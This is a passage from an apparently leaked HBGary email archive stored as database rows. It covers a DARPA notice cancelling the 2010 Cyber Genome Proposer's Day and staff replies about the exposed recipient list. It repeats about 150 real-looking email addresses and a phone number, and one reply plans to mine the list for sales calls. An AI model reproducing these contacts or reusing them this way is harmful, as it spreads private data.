&lt;tom@mccabetech.com&gt;, &quot;&#39;pc@mitre.org&#39;&quot; &lt;pc@mitre.org&gt;, &quot;&#39;michael.zeberlein@harris.com&#39;&quot; &lt;michael.zeberlein@harris.com&gt;, &quot;&#39;sbarnum@cigital.com&#39;&quot; &lt;sbarnum@cigital.com&gt;, &quot;&#39;evans@ge.com&#39;&quot; &lt;evans@ge.com&gt;, &quot;&#39;judith.c.spering@boeing.com&#39;&quot; &lt;judith.c.spering@Boeing.com&gt;, &quot;&#39;philippe.byrnes@ddefend.com&#39;&quot; &lt;philippe.byrnes@ddefend.com&gt;, &quot;&#39;adinaburg@sigovs.cm&#39;&quot; &lt;adinaburg@sigovs.cm&gt;, &quot;&#39;christopher.jones@harris.com&#39;&quot; &lt;christopher.jones@harris.com&gt;, &quot;&#39;kvanbure@harris.com&#39;&quot; &lt;kvanbure@harris.com&gt;, &quot;&#39;fpound@sigovs.com&#39;&quot; &lt;fpound@sigovs.com&gt;, &quot;&#39;roelker@gmail.com&#39;&quot; &lt;roelker@gmail.com&gt;, &quot;&#39;pwilson@securedsciences.com&#39;&quot; &lt;pwilson@securedsciences.com&gt;, &quot;&#39;adahnert@overwatch.textron.com&#39;&quot; &lt;adahnert@overwatch.textron.com&gt;, &quot;&#39;Brian.Masterson@ngc.com&#39;&quot; &lt;Brian.Masterson@ngc.com&gt;, &quot;&#39;irby@pikewerks.com&#39;&quot; &lt;irby@pikewerks.com&gt;, &quot;&#39;melski@grammatech.com&#39;&quot; &lt;melski@grammatech.com&gt;\r\nSubject: OFFICIAL CANCELLATION:  CYBER GENOME PROPOSER&#39;S DAY\r\n\r\n\r\n\r\nAll,\r\n\r\n \r\n\r\nDue to inclement weather, the Cyber Genome Proposer’s\r\nDay scheduled for tomorrow, 09 Feb 2010, has been cancelled.  We apologize\r\nfor this late notice, but the official government closure notice from the\r\nOffice of Personnel Management (OPM) was not released until 7:00pm EST today. \r\nThere is no further information at this time, but when something is available\r\nit will be posted via the Federal Business Opportunities (FedBizzOpps.Gov)\r\nwebsite.\r\n\r\n \r\n\r\nPlease confirm receipt of\r\nthis message by replying to this email.\r\n\r\n \r\n\r\n \r\n\r\nThank you and we apologize for any inconvenience,\r\n\r\n \r\n\r\nRenee Moore\r\n\r\nSETA\r\n\r\nDARPA/STO\r\n\r\nrenee.moore.ctr@darpa.mil\r\n\r\n703-351-9284\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5239,'aaron_hbgary_com/5239.html'),(2257,'2010-02-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001028.M748889P3547Q2257.eml','\"Moore, Renee (contr-sto)\" <Renee.Moore.ctr@darpa.mil>','Re: OFFICIAL CANCELLATION: CYBER GENOME PROPOSER\'S DAY','Thank you.From my iPhoneOn Feb 8, 2010, at 8:33 PM, &quot;Moore, Renee (contr-sto)&quot; &lt;Renee.Moore.ctr@darpa.mil&gt; wrote:\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\n \r\n\r\nDue to inclement weather, the Cyber Genome Proposer’s\r\nDay scheduled for tomorrow, 09 Feb 2010, has been cancelled.  We apologize\r\nfor this late notice, but the official government closure notice from the\r\nOffice of Personnel Management (OPM) was not released until 7:00pm EST today. \r\nThere is no further information at this time, but when something is available\r\nit will be posted via the Federal Business Opportunities (FedBizzOpps.Gov)\r\nwebsite.\r\n\r\n \r\n\r\nPlease confirm receipt of\r\nthis message by replying to this email.\r\n\r\n \r\n\r\n \r\n\r\nThank you and we apologize for any inconvenience,\r\n\r\n \r\n\r\nRenee Moore\r\n\r\nSETA\r\n\r\nDARPA/STO\r\n\r\nrenee.moore.ctr@darpa.mil\r\n\r\n703-351-9284\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10247,'aaron_hbgary_com/10247.html'),(2258,'2010-02-09','\"Moore, Renee (contr-sto)\" <Renee.Moore.ctr@darpa.mil>','/aaron@hbgary.com/new/1297001028.M989445P3547Q2258.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: OFFICIAL CANCELLATION: CYBER GENOME PROPOSER\'S DAY','Thank you.\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, February 08, 2010 8:51 PM\r\nTo: Moore, Renee (contr-sto)\r\nSubject: Re: OFFICIAL CANCELLATION: CYBER GENOME PROPOSER\'S DAY\r\n\r\nThank you.\r\n\r\nFrom my iPhone\r\n\r\nOn Feb 8, 2010, at 8:33 PM, \"Moore, Renee (contr-sto)\"  wrote:\r\n\r\n\r\n\r\n	All,\r\n\r\n	 \r\n\r\n	Due to inclement weather, the Cyber Genome Proposer\'s Day scheduled for tomorrow, 09 Feb 2010, has been cancelled.  We apologize for this late notice, but the official government closure notice from the Office of Personnel Management (OPM) was not released until 7:00pm EST today.  There is no further information at this time, but when something is available it will be posted via the Federal Business Opportunities (FedBizzOpps.Gov) website.\r\n\r\n	 \r\n\r\n	Please confirm receipt of this message by replying to this email.\r\n\r\n	 \r\n\r\n	 \r\n\r\n	Thank you and we apologize for any inconvenience,\r\n\r\n	 \r\n\r\n	Renee Moore\r\n\r\n	SETA\r\n\r\n	DARPA/STO\r\n\r\n	renee.moore.ctr@darpa.mil\r\n\r\n	703-351-9284\r\n\r\n	 \r\n\r\n',1562,'aaron_hbgary_com/1562.html'),(2259,'2010-02-09','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297001029.M205013P3547Q2259.eml','aaron@hbgary.com,\"Rich Cummings\" <rich@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,penny@hbgary.com','Cyber Genome, WHO\'s WHO','Looks like she screwed up.  Lol, didn&#39;t find mandiant anywhere on here, but there are alot of familier names...\r\n \r\n-Greg\r\n---------- Forwarded message ----------From: Moore, Renee (contr-sto) &lt;Renee.Moore.ctr@darpa.mil&gt;\r\nDate: Mon, Feb 8, 2010 at 5:33 PMSubject: OFFICIAL CANCELLATION: CYBER GENOME PROPOSER&#39;S DAYTo: &quot;justin.hornberger@obsidiancyber.com&quot; &lt;justin.hornberger@obsidiancyber.com&gt;, &quot;vernon.joyner@qinetiq-na.com&quot; &lt;vernon.joyner@qinetiq-na.com&gt;, &quot;deborah.frincke@pnl.gov&quot; &lt;deborah.frincke@pnl.gov&gt;, &quot;jaime@semandex.net&quot; &lt;jaime@semandex.net&gt;, &quot;aaron@hbgary.com&quot; &lt;aaron@hbgary.com&gt;, &quot;bob@hbgary.com&quot; &lt;bob@hbgary.com&gt;, &quot;greg@hbgary.com&quot; &lt;greg@hbgary.com&gt;, &quot;rich@hbgary.com&quot; &lt;rich@hbgary.com&gt;, &quot;ted@hbgary.com&quot; &lt;ted@hbgary.com&gt;, &quot;daniel.blitz@honeywell.com&quot; &lt;daniel.blitz@honeywell.com&gt;, &quot;shawn_ricketts@appsig.com&quot; &lt;shawn_ricketts@appsig.com&gt;, &quot;mfisk@lanl.gov&quot; &lt;mfisk@lanl.gov&gt;, &quot;skdao@hrl.com&quot; &lt;skdao@hrl.com&gt;, &quot;gholland@hrl.com&quot; &lt;gholland@hrl.com&gt;, &quot;gemami@globalinfotek.com&quot; &lt;gemami@globalinfotek.com&gt;, &quot;nigam@globalinfotek.com&quot; &lt;nigam@globalinfotek.com&gt;, &quot;mbanderson@teledyne.com&quot; &lt;mbanderson@teledyne.com&gt;, &quot;westby@globalcyberrisk.com&quot; &lt;westby@globalcyberrisk.com&gt;, &quot;bob@stratton.net&quot; &lt;bob@stratton.net&gt;, &quot;waa@cs.umd.edu&quot; &lt;waa@cs.umd.edu&gt;, &quot;brian.masterson@ngc.com&quot; &lt;brian.masterson@ngc.com&gt;, &quot;michael.witten@gtri.gatech.edu&quot; &lt;michael.witten@gtri.gatech.edu&gt;, &quot;dbailey@blackbirdtech.com&quot; &lt;dbailey@blackbirdtech.com&gt;, &quot;aiodice@blackbirdtech.com&quot; &lt;aiodice@blackbirdtech.com&gt;, &quot;jlowry@bbn.com&quot; &lt;jlowry@bbn.com&gt;, &quot;bfanelli@allencorporation.com&quot; &lt;bfanelli@allencorporation.com&gt;, &quot;vikram@i-a-i.com&quot; &lt;vikram@i-a-i.com&gt;, &quot;drankin@kadix.com&quot; &lt;drankin@kadix.com&gt;, &quot;bob@semandex.net&quot; &lt;bob@semandex.net&gt;, &quot;dean_a_gossett@raytheon.com&quot; &lt;dean_a_gossett@raytheon.com&gt;, &quot;tmccabe@mccabe.com&quot; &lt;tmccabe@mccabe.com&gt;, &quot;demoney@sri.com&quot; &lt;demoney@sri.com&gt;, &quot;rob@netwitness.com&quot; &lt;rob@netwitness.com&gt;, &quot;jzhou@teledyne.com&quot; &lt;jzhou@teledyne.com&gt;, &quot;swarup@mitre.org&quot; &lt;swarup@mitre.org&gt;, &quot;brianneo@securedecisions.avi.com&quot; &lt;brianneo@securedecisions.avi.com&gt;, &quot;jnhq@yahoo.com&quot; &lt;jnhq@yahoo.com&gt;, &quot;valerie.guralnik@honeywell.com&quot; &lt;valerie.guralnik@honeywell.com&gt;, &quot;Andy.Thompson@jhuapl.edu&quot; &lt;Andy.Thompson@jhuapl.edu&gt;, &quot;mjunod@atl.lmco.com&quot; &lt;mjunod@atl.lmco.com&gt;, &quot;rishab.malhotra@saic.com&quot; &lt;rishab.malhotra@saic.com&gt;, &quot;bayj@ainfosec.com&quot; &lt;bayj@ainfosec.com&gt;, &quot;shamilton@distributedinfinity.com&quot; &lt;shamilton@distributedinfinity.com&gt;, &quot;aott@distributedinfinity.com&quot; &lt;aott@distributedinfinity.com&gt;, &quot;souvas@ainfosec.com&quot; &lt;souvas@ainfosec.com&gt;, &quot;Tom@tgoodwincom.com&quot; &lt;Tom@tgoodwincom.com&gt;, &quot;jgibbins@distributedinfinity.com&quot; &lt;jgibbins@distributedinfinity.com&gt;, &quot;jay.civitillO@sypris.com&quot; &lt;jay.civitillO@sypris.com&gt;, &quot;email@stefanoforesti.com&quot; &lt;email@stefanoforesti.com&gt;, &quot;matthew_elder@symantec.com&quot; &lt;matthew_elder@symantec.com&gt;, &quot;raj.rajagopalan@hp.com&quot; &lt;raj.rajagopalan@hp.com&gt;, &quot;troy.swinehart@sypris.com&quot; &lt;troy.swinehart@sypris.com&gt;, &quot;hal.aldridge@sypris.com&quot; &lt;hal.aldridge@sypris.com&gt;, &quot;gshannon@setcorp.com&quot; &lt;gshannon@setcorp.com&gt;, &quot;vijay@ciphersolutions.com&quot; &lt;vijay@ciphersolutions.com&gt;, &quot;george@roguegenius.com&quot; &lt;george@roguegenius.com&gt;, &quot;patrick.w.phillips@saic.com&quot; &lt;patrick.w.phillips@saic.com&gt;, &quot;richard.arnold@macb.com&quot; &lt;richard.arnold@macb.com&gt;, &quot;preston.werntz@dhs.gov&quot; &lt;preston.werntz@dhs.gov&gt;, &quot;dihrie@semandex.net&quot; &lt;dihrie@semandex.net&gt;, &quot;jason.upchurch@gd-ais.com&quot; &lt;jason.upchurch@gd-ais.com&gt;, &quot;danstevenson@rti.org&quot; &lt;danstevenson@rti.org&gt;, &quot;michael.harbison@gd-ais.com&quot; &lt;michael.harbison@gd-ais.com&gt;, &quot;harold.Rodriguez@gd-asi.com&quot; &lt;harold.Rodriguez@gd-asi.com&gt;, &quot;mccusker@sonalysts.com&quot; &lt;mccusker@sonalysts.com&gt;, &quot;scottso@sonalysts.com&quot; &lt;scottso@sonalysts.com&gt;, &quot;marc.zbinden@nisc-llc.com&quot; &lt;marc.zbinden@nisc-llc.com&gt;, &quot;patrick@tripledex.com&quot; &lt;patrick@tripledex.com&gt;, &quot;ebasu@sentekglobal.com&quot; &lt;ebasu@sentekglobal.com&gt;, &quot;kevin.morrison@parsons.com&quot; &lt;kevin.morrison@parsons.com&gt;, &quot;ltinnel@globalinfotek.com&quot; &lt;ltinnel@globalinfotek.com&gt;, &quot;rick.mcgeer@hp.com&quot; &lt;rick.mcgeer@hp.com&gt;, &quot;stephen.barish@macb.com&quot; &lt;stephen.barish@macb.com&gt;, &quot;patrick.crago@nisc-llc.com&quot; &lt;patrick.crago@nisc-llc.com&gt;, &quot;dxu@cs.purdue.edu&quot; &lt;dxu@cs.purdue.edu&gt;, &quot;dave_m_gursky@raytheon.com&quot; &lt;dave_m_gursky@raytheon.com&gt;, &quot;guttman@us.ibm.com&quot; &lt;guttman@us.ibm.com&gt;, &quot;toweissy@vt.edu&quot; &lt;toweissy@vt.edu&gt;, &quot;ccramer@siginnovations.com&quot; &lt;ccramer@siginnovations.com&gt;, &quot;lkennedy@siginnovations.com&quot; &lt;lkennedy@siginnovations.com&gt;, &quot;lbengfort@cengen.com&quot; &lt;lbengfort@cengen.com&gt;, &quot;lkain@cra.com&quot; &lt;lkain@cra.com&gt;, &quot;aghosh1@gmu.edu&quot; &lt;aghosh1@gmu.edu&gt;, &quot;joshua.davis@gtri.gatech.edu&quot; &lt;joshua.davis@gtri.gatech.edu&gt;, &quot;zmitchell@logostech.net&quot; &lt;zmitchell@logostech.net&gt;, &quot;j@appranger.com&quot; &lt;j@appranger.com&gt;, &quot;kane@referentia.com&quot; &lt;kane@referentia.com&gt;, &quot;jsmith@referentia.com&quot; &lt;jsmith@referentia.com&gt;, &quot;twilliams@referentia.com&quot; &lt;twilliams@referentia.com&gt;, &quot;dchang@referentia.com&quot; &lt;dchang@referentia.com&gt;, &quot;kphillips@overwatch.textron.com&quot; &lt;kphillips@overwatch.textron.com&gt;, &quot;sdynes@dartmouth.edu&quot; &lt;sdynes@dartmouth.edu&gt;, &quot;michael.collins@redjack.com&quot; &lt;michael.collins@redjack.com&gt;, &quot;greg.virgin@redjack.com&quot; &lt;greg.virgin@redjack.com&gt;, &quot;john.mchugh@redjack.com&quot; &lt;john.mchugh@redjack.com&gt;, &quot;jeff.janies@redjack.com&quot; &lt;jeff.janies@redjack.com&gt;, &quot;sang.chin@jhuapl.edu&quot; &lt;sang.chin@jhuapl.edu&gt;, &quot;paul.b.jaynes@raytheon.com&quot; &lt;paul.b.jaynes@raytheon.com&gt;, &quot;rlinge@sei.cmu.edu&quot; &lt;rlinge@sei.cmu.edu&gt;, &quot;soswald@sigovs.com&quot; &lt;soswald@sigovs.com&gt;, &quot;kppande@msn.com&quot; &lt;kppande@msn.com&gt;, &quot;steve@atc-nycorp.com&quot; &lt;steve@atc-nycorp.com&gt;, &quot;hinoue@atc-nycorp.com&quot; &lt;hinoue@atc-nycorp.com&gt;, &quot;jadavis4@rockwellcollins.com&quot; &lt;jadavis4@rockwellcollins.com&gt;, &quot;tburgess@securedsciences.com&quot; &lt;tburgess@securedsciences.com&gt;, &quot;jeehye@securedsciences.com&quot; &lt;jeehye@securedsciences.com&gt;, &quot;walczak@avi.com&quot; &lt;walczak@avi.com&gt;, &quot;caguerreri@gmail.com&quot; &lt;caguerreri@gmail.com&gt;, &quot;raj.kant@baesystems.com&quot; &lt;raj.kant@baesystems.com&gt;, &quot;rlevy@i-a-i.com&quot; &lt;rlevy@i-a-i.com&gt;, &quot;ONeillDon@aol.com&quot; &lt;ONeillDon@aol.com&gt;, &quot;Rod.Tjoelker@Boeing.com&quot; &lt;Rod.Tjoelker@boeing.com&gt;, &quot;dmatsunaga@referentia.com&quot; &lt;dmatsunaga@referentia.com&gt;, &quot;gratson@research.ge.com&quot; &lt;gratson@research.ge.com&gt;, &quot;matarazzo1@llnl.gov&quot; &lt;matarazzo1@llnl.gov&gt;, &quot;christian.espinosa@eads-na-security.com&quot; &lt;christian.espinosa@eads-na-security.com&gt;, &quot;geaton@milcord.com&quot; &lt;geaton@milcord.com&gt;, &quot;tom@mccabetech.com&quot; &lt;tom@mccabetech.com&gt;, &quot;pc@mitre.org&quot; &lt;pc@mitre.org&gt;, &quot;michael.zeberlein@harris.com&quot; &lt;michael.zeberlein@harris.com&gt;, &quot;sbarnum@cigital.com&quot; &lt;sbarnum@cigital.com&gt;, &quot;evans@ge.com&quot; &lt;evans@ge.com&gt;, &quot;judith.c.spering@boeing.com&quot; &lt;judith.c.spering@boeing.com&gt;, &quot;philippe.byrnes@ddefend.com&quot; &lt;philippe.byrnes@ddefend.com&gt;, &quot;adinaburg@sigovs.cm&quot; &lt;adinaburg@sigovs.cm&gt;, &quot;christopher.jones@harris.com&quot; &lt;christopher.jones@harris.com&gt;, &quot;kvanbure@harris.com&quot; &lt;kvanbure@harris.com&gt;, &quot;fpound@sigovs.com&quot; &lt;fpound@sigovs.com&gt;, &quot;roelker@gmail.com&quot; &lt;roelker@gmail.com&gt;, &quot;pwilson@securedsciences.com&quot; &lt;pwilson@securedsciences.com&gt;, &quot;adahnert@overwatch.textron.com&quot; &lt;adahnert@overwatch.textron.com&gt;, &quot;Brian.Masterson@ngc.com&quot; &lt;Brian.Masterson@ngc.com&gt;, &quot;irby@pikewerks.com&quot; &lt;irby@pikewerks.com&gt;, &quot;melski@grammatech.com&quot; &lt;melski@grammatech.com&gt;\r\n\r\n\r\n\r\nAll,\r\n \r\nDue to inclement weather, the Cyber Genome Proposer’s Day scheduled for tomorrow, 09 Feb 2010, has been cancelled.  We apologize for this late notice, but the official government closure notice from the Office of Personnel Management (OPM) was not released until 7:00pm EST today.  There is no further information at this time, but when something is available it will be posted via the Federal Business Opportunities (FedBizzOpps.Gov) website.\r\n\r\n \r\nPlease confirm receipt of this message by replying to this email.\r\n \r\n \r\nThank you and we apologize for any inconvenience,\r\n \r\nRenee Moore\r\nSETA\r\nDARPA/STO\r\nrenee.moore.ctr@darpa.mil\r\n703-351-9284\r\n \r\n',4960,'aaron_hbgary_com/4960.html'),(2260,'2010-02-09','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001029.M414927P3547Q2260.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,,','Re: Cyber Genome, WHO\'s WHO','This list has lots of gov&#39;t contractors for me to send emails to or track down their phone numbers to call them.  After all, these people have expressed interest in malware related topics.\r\n \r\nOn Mon, Feb 8, 2010 at 9:27 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n\r\nLooks like she screwed up.  Lol, didn&#39;t find mandiant anywhere on here, but there are alot of familier names...\r\n \r\n-Greg\r\n---------- Forwarded message ----------From: Moore, Renee (contr-sto) &lt;Renee.Moore.ctr@darpa.mil&gt;\r\nDate: Mon, Feb 8, 2010 at 5:33 PMSubject: OFFICIAL CANCELLATION: CYBER GENOME PROPOSER&#39;S DAYTo: &quot;justin.hornberger@obsidiancyber.com&quot; &lt;justin.hornberger@obsidiancyber.com&gt;, &quot;vernon.joyner@qinetiq-na.com&quot; &lt;vernon.joyner@qinetiq-na.com&gt;, &quot;deborah.frincke@pnl.gov&quot; &lt;deborah.frincke@pnl.gov&gt;, &quot;jaime@semandex.net&quot; &lt;jaime@semandex.net&gt;, &quot;aaron@hbgary.com&quot; &lt;aaron@hbgary.com&gt;, &quot;bob@hbgary.com&quot; &lt;bob@hbgary.com&gt;, &quot;greg@hbgary.com&quot; &lt;greg@hbgary.com&gt;, &quot;rich@hbgary.com&quot; &lt;rich@hbgary.com&gt;, &quot;ted@hbgary.com&quot; &lt;ted@hbgary.com&gt;, &quot;daniel.blitz@honeywell.com&quot; &lt;daniel.blitz@honeywell.com&gt;, &quot;shawn_ricketts@appsig.com&quot; &lt;shawn_ricketts@appsig.com&gt;, &quot;mfisk@lanl.gov&quot; &lt;mfisk@lanl.gov&gt;, &quot;skdao@hrl.com&quot; &lt;skdao@hrl.com&gt;, &quot;gholland@hrl.com&quot; &lt;gholland@hrl.com&gt;, &quot;gemami@globalinfotek.com&quot; &lt;gemami@globalinfotek.com&gt;, &quot;nigam@globalinfotek.com&quot; &lt;nigam@globalinfotek.com&gt;, &quot;mbanderson@teledyne.com&quot; &lt;mbanderson@teledyne.com&gt;, &quot;westby@globalcyberrisk.com&quot; &lt;westby@globalcyberrisk.com&gt;, &quot;bob@stratton.net&quot; &lt;bob@stratton.net&gt;, &quot;waa@cs.umd.edu&quot; &lt;waa@cs.umd.edu&gt;, &quot;brian.masterson@ngc.com&quot; &lt;brian.masterson@ngc.com&gt;, &quot;michael.witten@gtri.gatech.edu&quot; &lt;michael.witten@gtri.gatech.edu&gt;, &quot;dbailey@blackbirdtech.com&quot; &lt;dbailey@blackbirdtech.com&gt;, &quot;aiodice@blackbirdtech.com&quot; &lt;aiodice@blackbirdtech.com&gt;, &quot;jlowry@bbn.com&quot; &lt;jlowry@bbn.com&gt;, &quot;bfanelli@allencorporation.com&quot; &lt;bfanelli@allencorporation.com&gt;, &quot;vikram@i-a-i.com&quot; &lt;vikram@i-a-i.com&gt;, &quot;drankin@kadix.com&quot; &lt;drankin@kadix.com&gt;, &quot;bob@semandex.net&quot; &lt;bob@semandex.net&gt;, &quot;dean_a_gossett@raytheon.com&quot; &lt;dean_a_gossett@raytheon.com&gt;, &quot;tmccabe@mccabe.com&quot; &lt;tmccabe@mccabe.com&gt;, &quot;demoney@sri.com&quot; &lt;demoney@sri.com&gt;, &quot;rob@netwitness.com&quot; &lt;rob@netwitness.com&gt;, &quot;jzhou@teledyne.com&quot; &lt;jzhou@teledyne.com&gt;, &quot;swarup@mitre.org&quot; &lt;swarup@mitre.org&gt;, &quot;brianneo@securedecisions.avi.com&quot; &lt;brianneo@securedecisions.avi.com&gt;, &quot;jnhq@yahoo.com&quot; &lt;jnhq@yahoo.com&gt;, &quot;valerie.guralnik@honeywell.com&quot; &lt;valerie.guralnik@honeywell.com&gt;, &quot;Andy.Thompson@jhuapl.edu&quot; &lt;Andy.Thompson@jhuapl.edu&gt;, &quot;mjunod@atl.lmco.com&quot; &lt;mjunod@atl.lmco.com&gt;, &quot;rishab.malhotra@saic.com&quot; &lt;rishab.malhotra@saic.com&gt;, &quot;bayj@ainfosec.com&quot; &lt;bayj@ainfosec.com&gt;, &quot;shamilton@distributedinfinity.com&quot; &lt;shamilton@distributedinfinity.com&gt;, &quot;aott@distributedinfinity.com&quot; &lt;aott@distributedinfinity.com&gt;, &quot;souvas@ainfosec.com&quot; &lt;souvas@ainfosec.com&gt;, &quot;Tom@tgoodwincom.com&quot; &lt;Tom@tgoodwincom.com&gt;, &quot;jgibbins@distributedinfinity.com&quot; &lt;jgibbins@distributedinfinity.com&gt;, &quot;jay.civitillO@sypris.com&quot; &lt;jay.civitillO@sypris.com&gt;, &quot;email@stefanoforesti.com&quot; &lt;email@stefanoforesti.com&gt;, &quot;matthew_elder@symantec.com&quot; &lt;matthew_elder@symantec.com&gt;, &quot;raj.rajagopalan@hp.com&quot; &lt;raj.rajagopalan@hp.com&gt;, &quot;troy.swinehart@sypris.com&quot; &lt;troy.swinehart@sypris.com&gt;, &quot;hal.aldridge@sypris.com&quot; &lt;hal.aldridge@sypris.com&gt;, &quot;gshannon@setcorp.com&quot; &lt;gshannon@setcorp.com&gt;, &quot;vijay@ciphersolutions.com&quot; &lt;vijay@ciphersolutions.com&gt;, &quot;george@roguegenius.com&quot; &lt;george@roguegenius.com&gt;, &quot;patrick.w.phillips@saic.com&quot; &lt;patrick.w.phillips@saic.com&gt;, &quot;richard.arnold@macb.com&quot; &lt;richard.arnold@macb.com&gt;, &quot;preston.werntz@dhs.gov&quot; &lt;preston.werntz@dhs.gov&gt;, &quot;dihrie@semandex.net&quot; &lt;dihrie@semandex.net&gt;, &quot;jason.upchurch@gd-ais.com&quot; &lt;jason.upchurch@gd-ais.com&gt;, &quot;danstevenson@rti.org&quot; &lt;danstevenson@rti.org&gt;, &quot;michael.harbison@gd-ais.com&quot; &lt;michael.harbison@gd-ais.com&gt;, &quot;harold.Rodriguez@gd-asi.com&quot; &lt;harold.Rodriguez@gd-asi.com&gt;, &quot;mccusker@sonalysts.com&quot; &lt;mccusker@sonalysts.com&gt;, &quot;scottso@sonalysts.com&quot; &lt;scottso@sonalysts.com&gt;, &quot;marc.zbinden@nisc-llc.com&quot; &lt;marc.zbinden@nisc-llc.com&gt;, &quot;patrick@tripledex.com&quot; &lt;patrick@tripledex.com&gt;, &quot;ebasu@sentekglobal.com&quot; &lt;ebasu@sentekglobal.com&gt;, &quot;kevin.morrison@parsons.com&quot; &lt;kevin.morrison@parsons.com&gt;, &quot;ltinnel@globalinfotek.com&quot; &lt;ltinnel@globalinfotek.com&gt;, &quot;rick.mcgeer@hp.com&quot; &lt;rick.mcgeer@hp.com&gt;, &quot;stephen.barish@macb.com&quot; &lt;stephen.barish@macb.com&gt;, &quot;patrick.crago@nisc-llc.com&quot; &lt;patrick.crago@nisc-llc.com&gt;, &quot;dxu@cs.purdue.edu&quot; &lt;dxu@cs.purdue.edu&gt;, &quot;dave_m_gursky@raytheon.com&quot; &lt;dave_m_gursky@raytheon.com&gt;, &quot;guttman@us.ibm.com&quot; &lt;guttman@us.ibm.com&gt;, &quot;toweissy@vt.edu&quot; &lt;toweissy@vt.edu&gt;, &quot;ccramer@siginnovations.com&quot; &lt;ccramer@siginnovations.com&gt;, &quot;lkennedy@siginnovations.com&quot; &lt;lkennedy@siginnovations.com&gt;, &quot;lbengfort@cengen.com&quot; &lt;lbengfort@cengen.com&gt;, &quot;lkain@cra.com&quot; &lt;lkain@cra.com&gt;, &quot;aghosh1@gmu.edu&quot; &lt;aghosh1@gmu.edu&gt;, &quot;joshua.davis@gtri.gatech.edu&quot; &lt;joshua.davis@gtri.gatech.edu&gt;, &quot;zmitchell@logostech.net&quot; &lt;zmitchell@logostech.net&gt;, &quot;j@appranger.com&quot; &lt;j@appranger.com&gt;, &quot;kane@referentia.com&quot; &lt;kane@referentia.com&gt;, &quot;jsmith@referentia.com&quot; &lt;jsmith@referentia.com&gt;, &quot;twilliams@referentia.com&quot; &lt;twilliams@referentia.com&gt;, &quot;dchang@referentia.com&quot; &lt;dchang@referentia.com&gt;, &quot;kphillips@overwatch.textron.com&quot; &lt;kphillips@overwatch.textron.com&gt;, &quot;sdynes@dartmouth.edu&quot; &lt;sdynes@dartmouth.edu&gt;, &quot;michael.collins@redjack.com&quot; &lt;michael.collins@redjack.com&gt;, &quot;greg.virgin@redjack.com&quot; &lt;greg.virgin@redjack.com&gt;, &quot;john.mchugh@redjack.com&quot; &lt;john.mchugh@redjack.com&gt;, &quot;jeff.janies@redjack.com&quot; &lt;jeff.janies@redjack.com&gt;, &quot;sang.chin@jhuapl.edu&quot; &lt;sang.chin@jhuapl.edu&gt;, &quot;paul.b.jaynes@raytheon.com&quot; &lt;paul.b.jaynes@raytheon.com&gt;, &quot;rlinge@sei.cmu.edu&quot; &lt;rlinge@sei.cmu.edu&gt;, &quot;soswald@sigovs.com&quot; &lt;soswald@sigovs.com&gt;, &quot;kppande@msn.com&quot; &lt;kppande@msn.com&gt;, &quot;steve@atc-nycorp.com&quot; &lt;steve@atc-nycorp.com&gt;, &quot;hinoue@atc-nycorp.com&quot; &lt;hinoue@atc-nycorp.com&gt;, &quot;jadavis4@rockwellcollins.com&quot; &lt;jadavis4@rockwellcollins.com&gt;, &quot;tburgess@securedsciences.com&quot; &lt;tburgess@securedsciences.com&gt;, &quot;jeehye@securedsciences.com&quot; &lt;jeehye@securedsciences.com&gt;, &quot;walczak@avi.com&quot; &lt;walczak@avi.com&gt;, &quot;caguerreri@gmail.com&quot; &lt;caguerreri@gmail.com&gt;, &quot;raj.kant@baesystems.com&quot; &lt;raj.kant@baesystems.com&gt;, &quot;rlevy@i-a-i.com&quot; &lt;rlevy@i-a-i.com&gt;, &quot;ONeillDon@aol.com&quot; &lt;ONeillDon@aol.com&gt;, &quot;Rod.Tjoelker@Boeing.com&quot; &lt;Rod.Tjoelker@boeing.com&gt;, &quot;dmatsunaga@referentia.com&quot; &lt;dmatsunaga@referentia.com&gt;, &quot;gratson@research.ge.com&quot; &lt;gratson@research.ge.com&gt;, &quot;matarazzo1@llnl.gov&quot; &lt;matarazzo1@llnl.gov&gt;, &quot;christian.espinosa@eads-na-security.com&quot; &lt;christian.espinosa@eads-na-security.com&gt;, &quot;geaton@milcord.com&quot; &lt;geaton@milcord.com&gt;, &quot;tom@mccabetech.com&quot; &lt;tom@mccabetech.com&gt;, &quot;pc@mitre.org&quot; &lt;pc@mitre.org&gt;, &quot;michael.zeberlein@harris.com&quot; &lt;michael.zeberlein@harris.com&gt;, &quot;sbarnum@cigital.com&quot; &lt;sbarnum@cigital.com&gt;, &quot;evans@ge.com&quot; &lt;evans@ge.com&gt;, &quot;judith.c.spering@boeing.com&quot; &lt;judith.c.spering@boeing.com&gt;, &quot;philippe.byrnes@ddefend.com&quot; &lt;philippe.byrnes@ddefend.com&gt;, &quot;adinaburg@sigovs.cm&quot; &lt;adinaburg@sigovs.cm&gt;, &quot;christopher.jones@harris.com&quot; &lt;christopher.jones@harris.com&gt;, &quot;kvanbure@harris.com&quot; &lt;kvanbure@harris.com&gt;, &quot;fpound@sigovs.com&quot; &lt;fpound@sigovs.com&gt;, &quot;roelker@gmail.com&quot; &lt;roelker@gmail.com&gt;, &quot;pwilson@securedsciences.com&quot; &lt;pwilson@securedsciences.com&gt;, &quot;adahnert@overwatch.textron.com&quot; &lt;adahnert@overwatch.textron.com&gt;, &quot;Brian.Masterson@ngc.com&quot; &lt;Brian.Masterson@ngc.com&gt;, &quot;irby@pikewerks.com&quot; &lt;irby@pikewerks.com&gt;, &quot;melski@grammatech.com&quot; &lt;melski@grammatech.com&gt;\r\n\r\n\r\n\r\nAll,\r\n \r\nDue to inclement weather, the Cyber Genome Proposer’s Day scheduled for tomorrow, 09 Feb 2010, has been cancelled.  We apologize for this late notice, but the official government closure notice from the Office of Personnel Management (OPM) was not released until 7:00pm EST today.  There is no further information at this time, but when something is available it will be posted via the Federal Business Opportunities (FedBizzOpps.Gov) website.\r\n\r\n \r\nPlease confirm receipt of this message by replying to this 